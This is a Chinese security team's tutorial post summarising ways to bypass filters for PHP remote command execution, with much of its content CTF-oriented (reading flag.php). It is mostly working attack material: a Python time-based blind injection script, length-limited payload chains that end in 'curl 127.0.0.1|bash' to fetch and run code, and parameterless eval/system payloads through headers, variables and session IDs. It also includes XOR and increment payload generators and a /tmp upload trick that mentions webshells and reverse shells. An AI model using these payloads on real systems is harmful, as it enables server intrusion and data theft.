首页 / 教程资源

PHP RCE 绕过手法总结

发布时间:2023-05-16 01:26:17
点击蓝字,点个收藏。东方隐侠,不迷路

0x00 常见命令执行危险函数

system() 

执行外部程序,并且显示输出

exec() 

执行一个外部程序

#直接使用exec()函数执行命令会只输出最后一条信息

$cmd = $_GET["cmd"]; exec($cmd,$array); print_r($array);

passthru() 

执行外部程序并且显示原始输出

shell_exec() 

通过shell环境执行命令,并且将完整的输出以字符串的方式输出

popen() 

调用系统命令

proc_open() 

执行一个命令,并且打开用来输入/输出的文件指针。

(``)反引号 

php将尝试将反引号中的内容作为shell命令来执行,并且将其输出信息返回

pcntl_exec 

pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。

0x01 绕过常见限制手法

01

空格过滤绕过

  • 大括号{cat,-a}

  • $IFS代替空格,$IFS、$IFS、${IFS}、$IFS$9

  • 重定向字符<、<>

02

文件名绕过


  • 通配符绕过?、*

    • 通配符是一种特殊语句,有问号和星号,用来模糊搜索;?在linux里可以代替字母,?只代表单个字符串;*可以代表任何字符串

  • 单双引号绕过

  • 反斜杠\绕过,如ca\t fla\g.ph\p

  • 特殊变量:$1到$9、$@和$*等 如cat fla$@g.ph$*p

  • 内联执行,自定义

  • 字符串,再拼接如,a=fla;b=g.ph;c=p;cat $a$b$c

  • 利用Linux中环境变量,使用环境变量中的字符执行变量,如${PATH:1:1}提取环境变量中的第二个字符

03

常见文件读取命令绕过


  • tac:反向显示
  • more:一页一页显示档案内容

  • less:与more类似

  • tail:查看末尾几行

  • nl:显示的时候,顺便输出行号

  • od:以二进制的方式读取档案内容

  • xxd:读取二进制文件

  • sort:主要用于排序文件

  • uniq:报告或删除文件中重复的行

  • file -f:报错出具体内容

  • grep:在文本中查找指定字符串,如grep fla fla*

04

编码绕过


绕过原理

 命令编码后的字符串------>目标服务器----------->执行命令

 绕过过滤 解码读取命令

 

 如:

echo Y2F0IGZsYWcucGhw | base64 -d | bash

Y2F0IGZsYWcucGhw:解码结果为cat flag.php

05

无回显时间盲注

当页面无回显、无法反弹shell或无写入权限,可以尝试命令盲注,原理和SQL盲注相似,都是根据反弹的时间来进行判断。

相关命令

  • sleep() 等待指定时间后返回结果

  • awk NR==行号 逐行获取数据,配合cat 使用

  • cut -c 第几个字符 逐列获取单个字符

  • if 判断命令释是否执行

if [ cat flag.php|awk NR==1|cut -c 3==p ];then sleep 5;fi
相关脚本pytonimport requestsimport timeurl = "http://127.0.0.1/1.php"result = ""for i in range(1,5):    for j in range(1,55):        for k in range(32,128):            k=chr(k)            #time.sleep(0.1)            payload = "?cmd=" + f"if [ cat flag.php | awk NR=={i} | cut -c {j} == {k} ];then sleep 2;fi"            try:                requests.get(url=url+payload, timeout=(1.5,1.5))            except:                result = result + k                print(result)                break    result += " "

06

长度过滤绕过


绕过7长度限制

  • 使用>创建很短的文件名

  • ls -t 按时间顺序列出文件名,按行存储

  • \连接换行命令

  • sh从文件中读取命令

>\ \\\把空格实体化成字符;文件名不能重复;ls -t 的输出顺序是按照时间由进到远,所以需要反过来输入命令。

  • cmd=>指令字符串\

  • cmd=ls -t>a 将文件名写入文件a中

  • cmd=sh a 执行写入的命令

绕过5长度限制

由于构造包含空格的字符串长度最少为5,所以只能构造一个空格。也无法构造lls -t>y。

  • 先创建文件>ls\\

  • 再创建文件_,把ls\写入文件_

  • 再创建其他文件,用>>把所有文件名追加到文件_中

    • ?cmd=>ls\\

    • ?cmd=ls>_

    • ?cmd=>\ \\

    • ?cmd=>-t\\

    • ?cmd=>\>y

    • ?cmd=ls>>_

  • 构造完ls -t>y之后,拆解命令,然后使用绕过长度7的方式写入文件

  • 执行sh _ 构造出想要执行的命令,最后再执行sh y

将写入的指令修改为curl 127.0.0.1|bash。同时服务器index文件下写入需要执行的指令

绕过4长度限制

相关知识

  • dir:按列输出文件名,不换行

  • *:相当于$(dir *),如果第一个文件名是命令的话就会执行命令,返回执行的结果,之后的文件名作为参数传入

  • rev:可以反转文件每一行的内容

构造ls -t>y

  • >y\; 为防止y后面有其他文件名造成影响,多创建一个y\;文件,用;来隔断后面字符的影响。

  • >y\>

  • >ht-

  • >sl

  • >dir

  • >rev

  • *v>x

写入命令的方式于绕过长度限制5的方式相同,唯一区别是将ip地址从10进制转换为16进制。

07

无参数命令执行


  • HTTP请求标头(php 7.3)

  • 全局变量RCE(php 5 / 7)

  • session RCE (php 5)

  • scandir() 进行文件读取

请求头绕过

利用函数

  • getallheaders() 获取所有HTTP请求标头,会倒序输出

  • pos() 把第一项的值显示出来

  • end() 把最后一项的值显示出来

  • apache_request_headers() 功能类似于getallheaders(),适用于apache服务器

利用getallheaders()获取到HTTP请求标头之后,使用pos()获取第一项标头中的参数,之后使用eval()执行命令。需要在HTTP包中找到对应的位置,修改为需要执行的命令。?cmd=eval(pos(getallheaders())); system('ls');

全局变量RCE

通过获取对方服务器的全局变量的内容,从而写入想执行的命令,来对目标服务器进行命令执行。

利用函数

  • get_defined_vars() 返回所有已定义变量的值,所组成的数组

get_defined_vars能够获取到GET、POST、COOKIE、FILES的值  如 ?code=print_r(end(pos(get_defined_vars())));&a=ls  返回结果包含ls ?code=eval(system(end(pos(get_defined_vars()))));&a=ls

session RCE

利用函数

  • session_start() 启动新会话或重用现有会话,成功返回true,反之返回false

  • session_id() 获取SESSIONID的值

如果服务器没有启用session可以先使用session_start()启用session然后再使用session_id获取sessionid的参数 ?code=system(session_id(session_start())); Cookie: PHPSESSID=ls

scandir读取

相关函数

  • scandir() 列出指定路径中的文件和目录(PHP 5, PHP 7, PHP 8)

  • getcwd() 取得当前工作目录(PHP 4, PHP 5, PHP 7, PHP 8)

  • current() 返回数组中的当前值(PHP 4, PHP 5,PHP 7,PHP 8)

  • array_reverse() 返回单元顺序相反的数组(PHP 4, PHP 5, PHP 7,PHP 8)

  • array_flip() 交换数组中的键和值(PHP 4, PHP 5, PHP 7, PHP 8)

  • next() 将数组中的内部指针向前移动(PHP 4,PHP 5,PHP 7, PHP 8)

  • array_rand 从数组中随机取出一个或多个随机键

  • chdir() 系统调用函数 (同cd) ,用于改变当前工作目录

  • strrev() 用于反转给定的字符串

  • crypt() 用来加密,目前Linux平台上加密的方法大致有MD5,DES,3 DES

  • hebrevc() 把希伯来文本从右至左的流转换为左至右的流。

  • show_source() 读取当前目录文件内容

  • dirname() 输出上一级目录的路径

读取上一级目录下的文件 show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd)))))));  从根目录下读取文件  数组反序列化后使用crypt进行加密有概率获取到字符串末尾有/,对字符串进行反转和截取能获取到/。show_source(array_rand(arry_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

08

常见文件读取命令绕过

或运算绕过

异或:在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。只要找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。 

<?phpheader("content-type:text/html;charset=utf-8");highlight_file(__FILE__);error_reporting(0);$shell = $_GET["cmd"];$result1 = "";$result2 = "";
function judge($c){ if(!preg_match('/[a-z0-9]/is',$c)) { return true; } return false;}
for($num=0;$num<=strlen($shell);$num++){ for($x=33;$x<=126;$x++) { if(judge(chr($x))) { for($y=33;$y<=126;$y++) { if(judge(chr($y))) { $f = chr($x)^chr($y); if($f == $shell[$num]) { $result1 .= chr($x); $result2 .= chr($y); break 2; } } } } }}echo "异或运算第一部分:".$result1;echo "<br>";echo "异或运算第二部分:".$result2;
?cmd=$_="输出的url编码";$_();

自增绕过

绕过原理

在php下[].''=Array,并且变量不存在时,假值为0。如果设置$_=[].'' ; $_=[$__],这样能够获取到$_=A;之后可以利用自增或自减来获得想要的字符串,以此来拼接php命令。

<?phphighlight_file(__FILE__);$cmd = strtoupper($_GET['cmd']);$cmd2 = strtoupper($_GET['post']);function POC($cmd){    $i = 0;    $POC_pat1 = "\$__=\$___;";    $POC_pat2 = "\$_ .=\$__;";    while ($i<strlen($cmd)){        $str1 = $cmd[$i];        $POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);        if ($i<1) {            $POC_pat3 = str_repeat("++\$__;",$POC1);            echo $POC_pat3;        }else{            $str2 = $cmd[$i-1];            if($str1==$str2){                $POC_pat5 = $POC_pat2;                echo $POC_pat5;            }else{                $POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;                echo $POC_pat6;            }        }        $i++;    }}
function POC2($cmd){ $i = 0; echo '$____ = "_";$__=$___;'; $POC_pat1 = "\$__=\$___;"; $POC_pat2 = "\$____ .=\$__;"; while ($i<strlen($cmd)){ $str1 = $cmd[$i]; $POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10); if ($i<1) { $POC_pat3 = str_repeat("++\$__;",$POC1).$POC_pat2; echo $POC_pat3; }else{ $str2 = $cmd[$i-1]; if($str1==$str2){ $POC_pat5 = $POC_pat2; echo $POC_pat5; }else{ $POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2; echo $POC_pat6; } } $i++; }}if (!empty($cmd)){ $POC_pat7 = "\$_=[].'';\$___=\$_[\$__];\$__=\$___;\$_=\$___;"; echo $POC_pat7; POC($cmd);}if (!empty($cmd2)){ POC2($cmd2);}


绕过特殊符号过滤


php7短标签绕过
最常见的 PHP 标签是<?php ?>了, PHP 中还有两种短标签,即<? ?>和<?= ?>。当关键字 “php” 被过滤了之后,便不能使用了,但是可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号;。其中,<? ?>相当于对<?php ?>的替换。而<?= ?>则是相当于<?php echo ... ?>
运用闭合方式使用?>闭合原<?,然后使用新的<?内容?>进行重写并使用反引号`配合url编码取反的形式进行命令的执行。
php POST上传临时文件利用
PHP中POST上传文件会把我们上传的文件暂时存在/tmp目录下,默认文件名是phpXXXXXX,文件名最后6个字符串是随机大小写字母。可以使用?通配符匹配到./tmp/phpXXXXXX,能匹配到的东西很多,经常会报错;[@-[]表示ASCII在@和[之间的字符,也就是大写字母,所以可以构建payload为./???/????????[@-[]。
  1. 先构建一个文件上传POST数据包

  2. PHP页面生成临时文件phpXXXXXX,储存在/tmp目录下

  3. 执行指令./???/????????[@-[],读取文件,执行其中内容

  4. 在上传文件中写入一句话木马,把木马生成在指定绝对路径,之后执行;也可以直接反弹shell

?cmd=?><?=.+/???/????????[@-[];?>
更多资料请前往东方隐侠知识星球获取

关注东方隐侠安全团队 为安全界刮起一股侠客风

        东方隐侠安全团队,一支专业的网络安全团队,将持续为您分享红蓝对抗、病毒研究、安全运营、应急响应等网络安全知识,提供一流网络安全服务,敬请关注!

公众号|东方隐侠安全实验室

相关推荐